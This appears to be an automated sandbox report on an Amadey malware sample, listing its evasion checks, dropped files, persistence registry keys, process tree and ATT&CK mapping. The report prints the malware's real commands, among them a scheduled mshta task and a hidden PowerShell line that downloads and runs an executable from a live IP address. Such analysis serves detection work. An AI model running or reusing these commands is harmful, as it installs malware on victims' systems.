amadey | 721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3d74i.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1i60D2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2L5613.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
54	1688	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1892	powershell.exe
1724	powershell.exe
1148	powershell.exe
1688	powershell.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2L5613.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2L5613.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3d74i.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3d74i.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1i60D2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1i60D2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	4J898Q.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	1i60D2.exe

Executes dropped EXE 9 IoCs

pid	Process
312	r5z58.exe
4940	p5Y28.exe
1456	1i60D2.exe
4200	skotes.exe
2644	2L5613.exe
1524	3d74i.exe
2848	4J898Q.exe
3096	skotes.exe
1636	skotes.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	2L5613.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	3d74i.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	1i60D2.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Wine	skotes.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	r5z58.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	p5Y28.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
1456	1i60D2.exe
4200	skotes.exe
2644	2L5613.exe
1524	3d74i.exe
3096	skotes.exe
1636	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1i60D2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4660	1524	WerFault.exe	99

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	p5Y28.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1i60D2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2L5613.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3d74i.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4J898Q.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	r5z58.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3d74i.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3d74i.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4360	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3580	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1456	1i60D2.exe
1456	1i60D2.exe
4200	skotes.exe
4200	skotes.exe
2644	2L5613.exe
2644	2L5613.exe
1524	3d74i.exe
1524	3d74i.exe
1524	3d74i.exe
1524	3d74i.exe
1892	powershell.exe
1892	powershell.exe
1724	powershell.exe
1724	powershell.exe
1148	powershell.exe
1148	powershell.exe
1688	powershell.exe
1688	powershell.exe
3096	skotes.exe
3096	skotes.exe
1636	skotes.exe
1636	skotes.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 312	4592	721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe	85
PID 4592 wrote to memory of 312	4592	721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe	85
PID 4592 wrote to memory of 312	4592	721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe	85
PID 312 wrote to memory of 4940	312	r5z58.exe	86
PID 312 wrote to memory of 4940	312	r5z58.exe	86
PID 312 wrote to memory of 4940	312	r5z58.exe	86
PID 4940 wrote to memory of 1456	4940	p5Y28.exe	87
PID 4940 wrote to memory of 1456	4940	p5Y28.exe	87
PID 4940 wrote to memory of 1456	4940	p5Y28.exe	87
PID 1456 wrote to memory of 4200	1456	1i60D2.exe	88
PID 1456 wrote to memory of 4200	1456	1i60D2.exe	88
PID 1456 wrote to memory of 4200	1456	1i60D2.exe	88
PID 4940 wrote to memory of 2644	4940	p5Y28.exe	89
PID 4940 wrote to memory of 2644	4940	p5Y28.exe	89
PID 4940 wrote to memory of 2644	4940	p5Y28.exe	89
PID 312 wrote to memory of 1524	312	r5z58.exe	99
PID 312 wrote to memory of 1524	312	r5z58.exe	99
PID 312 wrote to memory of 1524	312	r5z58.exe	99
PID 4592 wrote to memory of 2848	4592	721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe	111
PID 4592 wrote to memory of 2848	4592	721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe	111
PID 4592 wrote to memory of 2848	4592	721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe	111
PID 2848 wrote to memory of 2340	2848	4J898Q.exe	112
PID 2848 wrote to memory of 2340	2848	4J898Q.exe	112
PID 2340 wrote to memory of 4360	2340	cmd.exe	116
PID 2340 wrote to memory of 4360	2340	cmd.exe	116
PID 2340 wrote to memory of 2456	2340	cmd.exe	117
PID 2340 wrote to memory of 2456	2340	cmd.exe	117
PID 2456 wrote to memory of 1892	2456	cmd.exe	118
PID 2456 wrote to memory of 1892	2456	cmd.exe	118
PID 2340 wrote to memory of 2116	2340	cmd.exe	119
PID 2340 wrote to memory of 2116	2340	cmd.exe	119
PID 2116 wrote to memory of 1724	2116	cmd.exe	120
PID 2116 wrote to memory of 1724	2116	cmd.exe	120
PID 2340 wrote to memory of 3492	2340	cmd.exe	121
PID 2340 wrote to memory of 3492	2340	cmd.exe	121
PID 3492 wrote to memory of 1148	3492	cmd.exe	122
PID 3492 wrote to memory of 1148	3492	cmd.exe	122
PID 2340 wrote to memory of 3580	2340	cmd.exe	123
PID 2340 wrote to memory of 3580	2340	cmd.exe	123
PID 2340 wrote to memory of 4100	2340	cmd.exe	124
PID 2340 wrote to memory of 4100	2340	cmd.exe	124
PID 4100 wrote to memory of 1688	4100	mshta.exe	125
PID 4100 wrote to memory of 1688	4100	mshta.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe
"C:\Users\Admin\AppData\Local\Temp\721c2d0df508e30dcbb98a0547dd6cea4e5d9a417221e194df7d621f90ff4afe.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\r5z58.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\r5z58.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:312
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\p5Y28.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\p5Y28.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1i60D2.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1i60D2.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1456
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4200
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2L5613.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2L5613.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2644
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3d74i.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3d74i.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1524
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1524 -s 1568
      4⤵
      Program crash
      PID:4660
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4J898Q.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4J898Q.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3A16.tmp\3A17.tmp\3A18.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4J898Q.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\system32\timeout.exe
      timeout /t 2
      4⤵
      Delays execution with timeout.exe
      PID:4360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2456
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3492
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1148
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "CPpxSma5MlC" /tr "mshta \"C:\Temp\I73Eb8FZX.hta\"" /sc minute /mo 60 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3580
  - - C:\Windows\system32\mshta.exe
      mshta "C:\Temp\I73Eb8FZX.hta"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4100
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1524 -ip 1524
1⤵
PID:3516

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3096

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion